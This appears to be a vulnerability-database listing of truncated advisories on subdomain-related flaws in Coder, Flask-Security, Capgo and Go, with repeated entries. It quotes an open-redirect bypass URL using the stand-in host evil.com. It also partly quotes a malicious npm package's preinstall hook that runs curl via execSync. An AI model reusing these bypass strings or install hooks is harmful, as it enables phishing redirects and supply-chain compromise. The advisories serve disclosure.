GHSA-5G4W-3VW9-478W Coder's subdomain workspace app routing trusts unauthenticated X-Forwarded-Host header, enabling cross-app data access

Summary The workspace app proxy resolves the target app from httpapi.RequestHost which prefers the X-Forwarded-Host header over the real Host header. No middleware strips X-Forwarded-Host before routing and the header is not browser-forbidden so client-side JavaScript can set it on fetch calls...

Unintended Proxy or Intermediary ('Confused Deputy')

Overview Affected versions of this package are vulnerable to Unintended Proxy or Intermediary 'Confused Deputy' in the httpapi.RequestHost process. An attacker can gain unauthorized access to sensitive data by sending requests with a crafted X-Forwarded-Host header, which is trusted over the real...

Unintended Proxy or Intermediary ('Confused Deputy')

Overview Affected versions of this package are vulnerable to Unintended Proxy or Intermediary 'Confused Deputy' in the httpapi.RequestHost process. An attacker can gain unauthorized access to sensitive data by sending requests with a crafted X-Forwarded-Host header, which is trusted over the real...

Unintended Proxy or Intermediary ('Confused Deputy')

Overview Affected versions of this package are vulnerable to Unintended Proxy or Intermediary 'Confused Deputy' in the httpapi.RequestHost process. An attacker can gain unauthorized access to sensitive data by sending requests with a crafted X-Forwarded-Host header, which is trusted over the real...

Unintended Proxy or Intermediary ('Confused Deputy')

Overview Affected versions of this package are vulnerable to Unintended Proxy or Intermediary 'Confused Deputy' in the httpapi.RequestHost process. An attacker can gain unauthorized access to sensitive data by sending requests with a crafted X-Forwarded-Host header, which is trusted over the real...

PT-2026-56082

Name of the Vulnerable Software and Affected Versions Coder versions prior to 2.29.17 Coder versions prior to 2.32.7 Coder versions prior to 2.33.8 Coder versions prior to 2.34.2 Description The subdomain-based workspace app proxy allows a bypass of the same-owner Cross-Origin Resource Sharing CO...

PT-2026-56074

Name of the Vulnerable Software and Affected Versions Coder versions prior to 2.29.17 Coder versions prior to 2.32.7 Coder versions prior to 2.33.8 Coder versions prior to 2.34.2 Description The workspace app proxy resolves the target app using the httpapi.RequestHost function, which prioritizes...

K000161963: Golang vulnerability CVE-2025-61727

Security Advisory Description An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example . com does not prevent a leaf certificate from claiming the SAN .example.co...

bounthunt

Bountyhunt !CIhttps://github.com/bess1lie/bountyhunt/acti...

pentest-cheatsheet

pentest-cheatsheet Commands, techniques and notes for penetrat...

Security Bulletin: Multiple Vulnerabilities in cryptography bundled with IBM Fusion, IBM Fusion HCI, IBM Fusion Data Cataloging, and IBM Fusion Content-Aware Storage

Summary IBM Fusion, IBM Fusion HCI, IBM Fusion Data Cataloging, and IBM Fusion Content-Aware Storage include the cryptography library, which is vulnerable to a critical buffer overflow and an improper certificate validation flaw. A classic buffer overflow vulnerability exists when non-contiguous...

Open Redirect

Overview Flask-Security is a Simple security for Flask apps. Affected versions of this package are vulnerable to Open Redirect via the validateredirecturl function. An attacker can redirect users to an attacker-controlled domain by crafting a specially formatted URL containing a backslash in the...

Flask-Security has an Open Redirect issue

Open Redirect in Flask-Security Summary flasksecurity.utils.validateredirecturl can allow an attacker-controlled redirect URL when subdomain redirects are enabled. The bypass uses a backslash inside the URL authority/host: text http://evil.com.whitelist.com http://evil.com%5C.whitelist.com...

Malicious code in ttal2ttml (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4 package.json declares a preinstall lifecycle script that runs node -e "tryrequire'childprocess'.execSync'curl -sf...

Flask-Security has an Open Redirect issue

flasksecurity.utils.validateredirecturl can allow an attacker-controlled redirect URL when subdomain redirects are enabled. The bypass uses a backslash inside the URL authority/host: text http://evil.com.whitelist.com http://evil.com%5C.whitelist.com Python's urlsplit parses the full authority as...

CVE-2026-56325 Capgo - App ID Confusion via ILIKE Wildcard in Preview Subdomain Lookup

Capgo before 12.128.2 uses ILIKE pattern matching instead of exact matching for appid lookup in the preview subdomain resolver, allowing underscore characters in appid to act as SQL wildcards. Attackers can create apps with appids differing by one character at underscore positions to cause...

CVE-2026-56325 Capgo - App ID Confusion via ILIKE Wildcard in Preview Subdomain Lookup

Capgo before 12.128.2 uses ILIKE pattern matching instead of exact matching for appid lookup in the preview subdomain resolver, allowing underscore characters in appid to act as SQL wildcards. Attackers can create apps with appids differing by one character at underscore positions to cause...

CVE-2026-56325 Capgo - App ID Confusion via ILIKE Wildcard in Preview Subdomain Lookup

Capgo before 12.128.2 uses ILIKE pattern matching instead of exact matching for appid lookup in the preview subdomain resolver, allowing underscore characters in appid to act as SQL wildcards. Attackers can create apps with appids differing by one character at underscore positions to cause...

CVE-2026-56325

Capgo CVE-2026-56325 affects Capgo versions prior to 12.128.2. The preview subdomain resolver uses ILIKE (case-insensitive) matching for app_id lookups instead of exact matching, allowing underscore characters to act as wildcards. This can cause unintended pattern matches, potentially breaking pr...

CVE-2026-56325: Improper Input Validation

Capgo before 12.128.2 uses ILIKE pattern matching instead of exact matching for appid lookup in the preview subdomain resolver, allowing underscore characters in appid to act as SQL wildcards. Attackers can create apps with appids differing by one character at underscore positions to cause...